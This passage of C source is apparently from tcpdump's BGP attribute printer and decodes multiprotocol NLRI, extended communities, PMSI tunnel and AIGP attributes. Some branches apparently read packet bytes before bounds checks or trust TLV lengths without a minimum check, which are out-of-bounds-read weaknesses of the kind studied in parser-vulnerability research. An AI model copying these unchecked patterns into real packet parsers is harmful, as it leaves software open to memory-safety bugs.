SAFNUM_VPNMULTICAST):\n                case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):\n                case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):\n                case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):\n                case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):\n                case (AFNUM_VPLS<<8 | SAFNUM_VPLS):\n                    break;\n                default:\n                    ND_TCHECK2(tptr[0], tlen);\n                    ND_PRINT((ndo, \"\\n\\t    no AFI %u / SAFI %u decoder\", af, safi));\n                    if (ndo->ndo_vflag <= 1)\n                        print_unknown_data(ndo, tptr, \"\\n\\t    \", tlen);\n                    goto done;\n                    break;\n                }\n\n                tptr +=3;\n\n\t\tND_TCHECK(tptr[0]);\n\t\tnhlen = tptr[0];\n                tlen = nhlen;\n                tptr++;\n\n\t\tif (tlen) {\n                    int nnh = 0;\n                    ND_PRINT((ndo, \"\\n\\t    nexthop: \"));\n                    while (tlen > 0) {\n                        if ( nnh++ > 0 ) {\n                            ND_PRINT((ndo,  \", \" ));\n                        }\n                        switch(af<<8 | safi) {\n                        case (AFNUM_INET<<8 | SAFNUM_UNICAST):\n                        case (AFNUM_INET<<8 | SAFNUM_MULTICAST):\n                        case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):\n                        case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):\n                        case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):\n                        case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN):\n                        case (AFNUM_INET<<8 | SAFNUM_MDT):\n\t\t\t    if (tlen < (int)sizeof(struct in_addr)) {\n                                ND_PRINT((ndo, \"invalid len\"));\n                                tlen = 0;\n                            } else {\n                                ND_TCHECK2(tptr[0], sizeof(struct in_addr));\n                                ND_PRINT((ndo, \"%s\",ipaddr_string(ndo, tptr)));\n                                tlen -= sizeof(struct in_addr);\n                                tptr += sizeof(struct in_addr);\n                            }\n                            break;\n                        case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):\n                        case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):\n                        case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):\n                            if (tlen < (int)(sizeof(struct in_addr)+BGP_VPN_RD_LEN)) {\n                                ND_PRINT((ndo, \"invalid len\"));\n                                tlen = 0;\n                            } else {\n                                ND_TCHECK2(tptr[0], sizeof(struct in_addr)+BGP_VPN_RD_LEN);\n                                ND_PRINT((ndo, \"RD: %s, %s\",\n                                       bgp_vpn_rd_print(ndo, tptr),\n                                       ipaddr_string(ndo, tptr+BGP_VPN_RD_LEN)));\n                                tlen -= (sizeof(struct in_addr)+BGP_VPN_RD_LEN);\n                                tptr += (sizeof(struct in_addr)+BGP_VPN_RD_LEN);\n                            }\n                            break;\n                        case (AFNUM_INET6<<8 | SAFNUM_UNICAST):\n                        case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):\n                        case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):\n                        case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):\n                            if (tlen < (int)sizeof(struct in6_addr)) {\n                                ND_PRINT((ndo, \"invalid len\"));\n                                tlen = 0;\n                            } else {\n                                ND_TCHECK2(tptr[0], sizeof(struct in6_addr));\n                                ND_PRINT((ndo, \"%s\", ip6addr_string(ndo, tptr)));\n                                tlen -= sizeof(struct in6_addr);\n                                tptr += sizeof(struct in6_addr);\n                            }\n                            break;\n                        case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):\n                        case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):\n                        case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):\n                            if (tlen < (int)(sizeof(struct in6_addr)+BGP_VPN_RD_LEN)) {\n                                ND_PRINT((ndo, \"invalid len\"));\n                                tlen = 0;\n                            } else {\n                                ND_TCHECK2(tptr[0], sizeof(struct in6_addr)+BGP_VPN_RD_LEN);\n                                ND_PRINT((ndo, \"RD: %s, %s\",\n                                       bgp_vpn_rd_print(ndo, tptr),\n                                       ip6addr_string(ndo, tptr+BGP_VPN_RD_LEN)));\n                                tlen -= (sizeof(struct in6_addr)+BGP_VPN_RD_LEN);\n                                tptr += (sizeof(struct in6_addr)+BGP_VPN_RD_LEN);\n                            }\n                            break;\n                        case (AFNUM_VPLS<<8 | SAFNUM_VPLS):\n                        case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):\n                        case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):\n                        case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):\n                            if (tlen < (int)sizeof(struct in_addr)) {\n                                ND_PRINT((ndo, \"invalid len\"));\n                                tlen = 0;\n                            } else {\n                                ND_TCHECK2(tptr[0], sizeof(struct in_addr));\n                                ND_PRINT((ndo, \"%s\", ipaddr_string(ndo, tptr)));\n                                tlen -= (sizeof(struct in_addr));\n                                tptr += (sizeof(struct in_addr));\n                            }\n                            break;\n                        case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):\n                        case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):\n                        case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):\n                            ND_TCHECK2(tptr[0], tlen);\n                            ND_PRINT((ndo, \"%s\", isonsap_string(ndo, tptr, tlen)));\n                            tptr += tlen;\n                            tlen = 0;\n                            break;\n\n                        case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):\n                        case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):\n                        case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):\n                            if (tlen < BGP_VPN_RD_LEN+1) {\n                                ND_PRINT((ndo, \"invalid len\"));\n                                tlen = 0;\n                            } else {\n                                ND_TCHECK2(tptr[0], tlen);\n                                ND_PRINT((ndo, \"RD: %s, %s\",\n                                       bgp_vpn_rd_print(ndo, tptr),\n                                       isonsap_string(ndo, tptr+BGP_VPN_RD_LEN,tlen-BGP_VPN_RD_LEN)));\n                                /* rfc986 mapped IPv4 address ? */\n                                if (EXTRACT_32BITS(tptr+BGP_VPN_RD_LEN) ==  0x47000601)\n                                    ND_PRINT((ndo, \" = %s\", ipaddr_string(ndo, tptr+BGP_VPN_RD_LEN+4)));\n                                /* rfc1888 mapped IPv6 address ? */\n                                else if (EXTRACT_24BITS(tptr+BGP_VPN_RD_LEN) ==  0x350000)\n                                    ND_PRINT((ndo, \" = %s\", ip6addr_string(ndo, tptr+BGP_VPN_RD_LEN+3)));\n                                tptr += tlen;\n                                tlen = 0;\n                            }\n                            break;\n                        default:\n                            ND_TCHECK2(tptr[0], tlen);\n                            ND_PRINT((ndo, \"no AFI %u/SAFI %u decoder\", af, safi));\n                            if (ndo->ndo_vflag <= 1)\n                                print_unknown_data(ndo, tptr, \"\\n\\t    \", tlen);\n                            tptr += tlen;\n                            tlen = 0;\n                            goto done;\n                            break;\n                        }\n                    }\n\t\t}\n\t\tND_PRINT((ndo, \", nh-length: %u\", nhlen));\n\t\ttptr += tlen;\n\n\t\tND_TCHECK(tptr[0]);\n\t\tsnpa = tptr[0];\n\t\ttptr++;\n\n\t\tif (snpa) {\n\t\t\tND_PRINT((ndo, \"\\n\\t    %u SNPA\", snpa));\n\t\t\tfor (/*nothing*/; snpa > 0; snpa--) {\n\t\t\t\tND_TCHECK(tptr[0]);\n\t\t\t\tND_PRINT((ndo, \"\\n\\t      %d bytes\", tptr[0]));\n\t\t\t\ttptr += tptr[0] + 1;\n\t\t\t}\n\t\t} else {\n\t\t\tND_PRINT((ndo, \", no SNPA\"));\n                }\n\n\t\twhile (len - (tptr - pptr) > 0) {\n                    switch (af<<8 | safi) {\n                    case (AFNUM_INET<<8 | SAFNUM_UNICAST):\n                    case (AFNUM_INET<<8 | SAFNUM_MULTICAST):\n                    case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):\n                        advance = decode_prefix4(ndo, tptr, len, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else if (advance == -3)\n                            break; /* bytes left, but not enough */\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):\n                        advance = decode_labeled_prefix4(ndo, tptr, len, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else if (advance == -3)\n                            break; /* bytes left, but not enough */\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):\n                    case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):\n                    case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):\n                        advance = decode_labeled_vpn_prefix4(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):\n                        advance = decode_rt_routing_info(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN): /* fall through */\n                    case (AFNUM_INET6<<8 | SAFNUM_MULTICAST_VPN):\n                        advance = decode_multicast_vpn(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n\n\t\t    case (AFNUM_INET<<8 | SAFNUM_MDT):\n\t\t      advance = decode_mdt_vpn_nlri(ndo, tptr, buf, sizeof(buf));\n\t\t      if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n\t\t       break;\n                    case (AFNUM_INET6<<8 | SAFNUM_UNICAST):\n                    case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):\n                    case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):\n                        advance = decode_prefix6(ndo, tptr, len, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else if (advance == -3)\n                            break; /* bytes left, but not enough */\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):\n                        advance = decode_labeled_prefix6(ndo, tptr, len, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else if (advance == -3)\n                            break; /* bytes left, but not enough */\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):\n                    case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):\n                    case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):\n                        advance = decode_labeled_vpn_prefix6(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_VPLS<<8 | SAFNUM_VPLS):\n                    case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):\n                    case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):\n                    case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):\n                        advance = decode_labeled_vpn_l2(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):\n                    case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):\n                    case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):\n                        advance = decode_clnp_prefix(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):\n                    case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):\n                    case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):\n                        advance = decode_labeled_vpn_clnp_prefix(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    default:\n                        ND_TCHECK2(*tptr,tlen);\n                        ND_PRINT((ndo, \"\\n\\t    no AFI %u / SAFI %u decoder\", af, safi));\n                        if (ndo->ndo_vflag <= 1)\n                            print_unknown_data(ndo, tptr, \"\\n\\t    \", tlen);\n                        advance = 0;\n                        tptr = pptr + len;\n                        break;\n                    }\n                    if (advance < 0)\n                        break;\n                    tptr += advance;\n\t\t}\n        done:\n\t\tbreak;\n\n\tcase BGPTYPE_MP_UNREACH_NLRI:\n\t\tND_TCHECK2(tptr[0], BGP_MP_NLRI_MINSIZE);\n\t\taf = EXTRACT_16BITS(tptr);\n\t\tsafi = tptr[2];\n\n                ND_PRINT((ndo, \"\\n\\t    AFI: %s (%u), %sSAFI: %s (%u)\",\n                       tok2str(af_values, \"Unknown AFI\", af),\n                       af,\n                       (safi>128) ? \"vendor specific \" : \"\", /* 128 is meanwhile wellknown */\n                       tok2str(bgp_safi_values, \"Unknown SAFI\", safi),\n                       safi));\n\n                if (len == BGP_MP_NLRI_MINSIZE)\n                    ND_PRINT((ndo, \"\\n\\t      End-of-Rib Marker (empty NLRI)\"));\n\n\t\ttptr += 3;\n\n\t\twhile (len - (tptr - pptr) > 0) {\n                    switch (af<<8 | safi) {\n                    case (AFNUM_INET<<8 | SAFNUM_UNICAST):\n                    case (AFNUM_INET<<8 | SAFNUM_MULTICAST):\n                    case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):\n                        advance = decode_prefix4(ndo, tptr, len, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else if (advance == -3)\n                            break; /* bytes left, but not enough */\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):\n                        advance = decode_labeled_prefix4(ndo, tptr, len, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else if (advance == -3)\n                            break; /* bytes left, but not enough */\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):\n                    case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):\n                    case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):\n                        advance = decode_labeled_vpn_prefix4(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_INET6<<8 | SAFNUM_UNICAST):\n                    case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):\n                    case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):\n                        advance = decode_prefix6(ndo, tptr, len, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else if (advance == -3)\n                            break; /* bytes left, but not enough */\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):\n                        advance = decode_labeled_prefix6(ndo, tptr, len, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else if (advance == -3)\n                            break; /* bytes left, but not enough */\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):\n                    case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):\n                    case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):\n                        advance = decode_labeled_vpn_prefix6(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_VPLS<<8 | SAFNUM_VPLS):\n                    case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):\n                    case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):\n                    case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):\n                        advance = decode_labeled_vpn_l2(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):\n                    case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):\n                    case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):\n                        advance = decode_clnp_prefix(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):\n                    case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):\n                    case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):\n                        advance = decode_labeled_vpn_clnp_prefix(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n\t\t    case (AFNUM_INET<<8 | SAFNUM_MDT):\n\t\t      advance = decode_mdt_vpn_nlri(ndo, tptr, buf, sizeof(buf));\n\t\t      if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n\t\t       break;\n                    case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN): /* fall through */\n                    case (AFNUM_INET6<<8 | SAFNUM_MULTICAST_VPN):\n                        advance = decode_multicast_vpn(ndo, tptr, buf, sizeof(buf));\n                        if (advance == -1)\n                            ND_PRINT((ndo, \"\\n\\t    (illegal prefix length)\"));\n                        else if (advance == -2)\n                            goto trunc;\n                        else\n                            ND_PRINT((ndo, \"\\n\\t      %s\", buf));\n                        break;\n                    default:\n                        ND_TCHECK2(*(tptr-3),tlen);\n                        ND_PRINT((ndo, \"no AFI %u / SAFI %u decoder\", af, safi));\n                        if (ndo->ndo_vflag <= 1)\n                            print_unknown_data(ndo, tptr-3, \"\\n\\t    \", tlen);\n                        advance = 0;\n                        tptr = pptr + len;\n                        break;\n                    }\n                    if (advance < 0)\n                        break;\n                    tptr += advance;\n\t\t}\n\t\tbreak;\n        case BGPTYPE_EXTD_COMMUNITIES:\n\t\tif (len % 8) {\n\t\t\tND_PRINT((ndo, \"invalid len\"));\n\t\t\tbreak;\n\t\t}\n                while (tlen>0) {\n                    uint16_t extd_comm;\n\n                    ND_TCHECK2(tptr[0], 2);\n                    extd_comm=EXTRACT_16BITS(tptr);\n\n\t\t    ND_PRINT((ndo, \"\\n\\t    %s (0x%04x), Flags [%s]\",\n\t\t\t   tok2str(bgp_extd_comm_subtype_values,\n\t\t\t\t      \"unknown extd community typecode\",\n\t\t\t\t      extd_comm),\n\t\t\t   extd_comm,\n\t\t\t   bittok2str(bgp_extd_comm_flag_values, \"none\", extd_comm)));\n\n                    ND_TCHECK2(*(tptr+2), 6);\n                    switch(extd_comm) {\n                    case BGP_EXT_COM_RT_0:\n                    case BGP_EXT_COM_RO_0:\n                    case BGP_EXT_COM_L2VPN_RT_0:\n                        ND_PRINT((ndo, \": %u:%u (= %s)\",\n                               EXTRACT_16BITS(tptr+2),\n                               EXTRACT_32BITS(tptr+4),\n                               ipaddr_string(ndo, tptr+4)));\n                        break;\n                    case BGP_EXT_COM_RT_1:\n                    case BGP_EXT_COM_RO_1:\n                    case BGP_EXT_COM_L2VPN_RT_1:\n                    case BGP_EXT_COM_VRF_RT_IMP:\n                        ND_PRINT((ndo, \": %s:%u\",\n                               ipaddr_string(ndo, tptr+2),\n                               EXTRACT_16BITS(tptr+6)));\n                        break;\n                    case BGP_EXT_COM_RT_2:\n                    case BGP_EXT_COM_RO_2:\n\t\t\tND_PRINT((ndo, \": %s:%u\",\n\t\t\t    as_printf(ndo, astostr, sizeof(astostr),\n\t\t\t    EXTRACT_32BITS(tptr+2)), EXTRACT_16BITS(tptr+6)));\n\t\t\tbreak;\n                    case BGP_EXT_COM_LINKBAND:\n\t\t        bw.i = EXTRACT_32BITS(tptr+2);\n                        ND_PRINT((ndo, \": bandwidth: %.3f Mbps\",\n                               bw.f*8/1000000));\n                        break;\n                    case BGP_EXT_COM_VPN_ORIGIN:\n                    case BGP_EXT_COM_VPN_ORIGIN2:\n                    case BGP_EXT_COM_VPN_ORIGIN3:\n                    case BGP_EXT_COM_VPN_ORIGIN4:\n                    case BGP_EXT_COM_OSPF_RID:\n                    case BGP_EXT_COM_OSPF_RID2:\n                        ND_PRINT((ndo, \"%s\", ipaddr_string(ndo, tptr+2)));\n                        break;\n                    case BGP_EXT_COM_OSPF_RTYPE:\n                    case BGP_EXT_COM_OSPF_RTYPE2:\n                        ND_PRINT((ndo, \": area:%s, router-type:%s, metric-type:%s%s\",\n                               ipaddr_string(ndo, tptr+2),\n                               tok2str(bgp_extd_comm_ospf_rtype_values,\n\t\t\t\t\t  \"unknown (0x%02x)\",\n\t\t\t\t\t  *(tptr+6)),\n                               (*(tptr+7) &  BGP_OSPF_RTYPE_METRIC_TYPE) ? \"E2\" : \"\",\n                               ((*(tptr+6) == BGP_OSPF_RTYPE_EXT) || (*(tptr+6) == BGP_OSPF_RTYPE_NSSA)) ? \"E1\" : \"\"));\n                        break;\n                    case BGP_EXT_COM_L2INFO:\n                        ND_PRINT((ndo, \": %s Control Flags [0x%02x]:MTU %u\",\n                               tok2str(l2vpn_encaps_values,\n\t\t\t\t\t  \"unknown encaps\",\n\t\t\t\t\t  *(tptr+2)),\n                                       *(tptr+3),\n                               EXTRACT_16BITS(tptr+4)));\n                        break;\n                    case BGP_EXT_COM_SOURCE_AS:\n                        ND_PRINT((ndo, \": AS %u\", EXTRACT_16BITS(tptr+2)));\n                        break;\n                    default:\n                        ND_TCHECK2(*tptr,8);\n                        print_unknown_data(ndo, tptr, \"\\n\\t      \", 8);\n                        break;\n                    }\n                    tlen -=8;\n                    tptr +=8;\n                }\n                break;\n\n        case BGPTYPE_PMSI_TUNNEL:\n        {\n                uint8_t tunnel_type, flags;\n\n                tunnel_type = *(tptr+1);\n                flags = *tptr;\n                tlen = len;\n\n                ND_TCHECK2(tptr[0], 5);\n                ND_PRINT((ndo, \"\\n\\t    Tunnel-type %s (%u), Flags [%s], MPLS Label %u\",\n                       tok2str(bgp_pmsi_tunnel_values, \"Unknown\", tunnel_type),\n                       tunnel_type,\n                       bittok2str(bgp_pmsi_flag_values, \"none\", flags),\n                       EXTRACT_24BITS(tptr+2)>>4));\n\n                tptr +=5;\n                tlen -= 5;\n\n                switch (tunnel_type) {\n                case BGP_PMSI_TUNNEL_PIM_SM: /* fall through */\n                case BGP_PMSI_TUNNEL_PIM_BIDIR:\n                    ND_TCHECK2(tptr[0], 8);\n                    ND_PRINT((ndo, \"\\n\\t      Sender %s, P-Group %s\",\n                           ipaddr_string(ndo, tptr),\n                           ipaddr_string(ndo, tptr+4)));\n                    break;\n\n                case BGP_PMSI_TUNNEL_PIM_SSM:\n                    ND_TCHECK2(tptr[0], 8);\n                    ND_PRINT((ndo, \"\\n\\t      Root-Node %s, P-Group %s\",\n                           ipaddr_string(ndo, tptr),\n                           ipaddr_string(ndo, tptr+4)));\n                    break;\n                case BGP_PMSI_TUNNEL_INGRESS:\n                    ND_TCHECK2(tptr[0], 4);\n                    ND_PRINT((ndo, \"\\n\\t      Tunnel-Endpoint %s\",\n                           ipaddr_string(ndo, tptr)));\n                    break;\n                case BGP_PMSI_TUNNEL_LDP_P2MP: /* fall through */\n                case BGP_PMSI_TUNNEL_LDP_MP2MP:\n                    ND_TCHECK2(tptr[0], 8);\n                    ND_PRINT((ndo, \"\\n\\t      Root-Node %s, LSP-ID 0x%08x\",\n                           ipaddr_string(ndo, tptr),\n                           EXTRACT_32BITS(tptr+4)));\n                    break;\n                case BGP_PMSI_TUNNEL_RSVP_P2MP:\n                    ND_TCHECK2(tptr[0], 8);\n                    ND_PRINT((ndo, \"\\n\\t      Extended-Tunnel-ID %s, P2MP-ID 0x%08x\",\n                           ipaddr_string(ndo, tptr),\n                           EXTRACT_32BITS(tptr+4)));\n                    break;\n                default:\n                    if (ndo->ndo_vflag <= 1) {\n                        print_unknown_data(ndo, tptr, \"\\n\\t      \", tlen);\n                    }\n                }\n                break;\n        }\n\tcase BGPTYPE_AIGP:\n\t{\n\t\tuint8_t type;\n\t\tuint16_t length;\n\n\t\tND_TCHECK2(tptr[0], 3);\n\n\t\ttlen = len;\n\n\t\twhile (tlen >= 3) {\n\n\t\t    type = *tptr;\n\t\t    length = EXTRACT_16BITS(tptr+1);\n\n\t\t    ND_PRINT((ndo, \"\\n\\t    %s TLV (%u), length %u\",\n\t\t\t      tok2str(bgp_aigp_values, \"Unknown\", type),\n\t\t\t      type, length));\n\n\t\t    /*\n\t\t     * Check if we can read the TLV data.\n\t\t     */\n\t\t    ND_TCHECK2(tptr[3], length - 3);\n\n\t\t    switch (type) {\n\n\t\t    case BGP_AIGP_TLV:\n\t\t        ND_TCHECK2(tptr[3], 8);\n\t\t\tND_PRINT((ndo, \", metric %\" PRIu64,\n\t\t\t\t  EXTRACT_64BITS(tptr+3)));\n\t\t\tbreak;\n\n\t\t    default:\n\t\t\tif (ndo->ndo_vflag <= 1) {\n\t\t\t    print_unknown_data(ndo, tptr+3,\"\\n\\t      \", length-3);\n\t\t\t}\n\t\t    }\n\n\t\t    tptr += length;\n\t\t    tlen -= length;\n\t\t}\n\t\tbreak;\n\t}\n        case BGPTYPE_ATTR_SET:\n                ND_TCHECK2(tptr[0], 4);\n                if (len < 4)\n                \tgoto trunc;\n\t\tND_PRINT((ndo, \"\\n\\t    Origin AS: %s\",\n\t\t    as_printf(ndo, astostr, sizeof(astostr), EXTRACT_32BITS(tptr))));\n\t\ttptr+=4;\n                len -=4;\n\n                while (len) {\n                    u_int aflags, alenlen, alen;\n\n                    ND_TCHECK2(tptr[0], 2);\n                    if (len < 2)\n                        goto trunc;\n                    aflags = *tptr;\n                    atype = *(tptr + 1);\n                    tptr += 2;\n                    len -= 2;\n                    alenlen = bgp_attr_lenlen(aflags, tptr);\n                    ND_TCHECK2(tptr[0], alenlen);\n                    if (len < alenlen)\n                        goto trunc;\n                    alen = bgp_attr_len(aflags, tptr);\n                    tptr += alenlen;\n                    len -= alenlen;\n\n                    ND_PRINT((ndo, \"\\n\\t      %s (%u), length: %u\",\n                           tok2str(bgp_attr_values,\n                                      \"Unknown Attribute\", atype),\n                           atype,\n                           alen));\n\n                    if (aflags) {\n                        ND_PRINT((ndo, \", Flags [%s%s%s%s\",\n                               aflags & 0x80 ? \"O\" : \"\",\n                               aflags & 0x40 ? \"T\" : \"\",\n                               aflags & 0x20 ? \"P\" : \"\",\n                               aflags & 0x10 ? \"E\" : \"\"));\n                        if (aflags & 0xf)\n                            ND_PRINT((ndo, \"+%x\", aflags & 0xf));\n                        ND_PRINT((ndo, \"]: \"));\n                    }\n                    /* FIXME check for recursion */\n                    if (!bgp_attr_print(ndo, 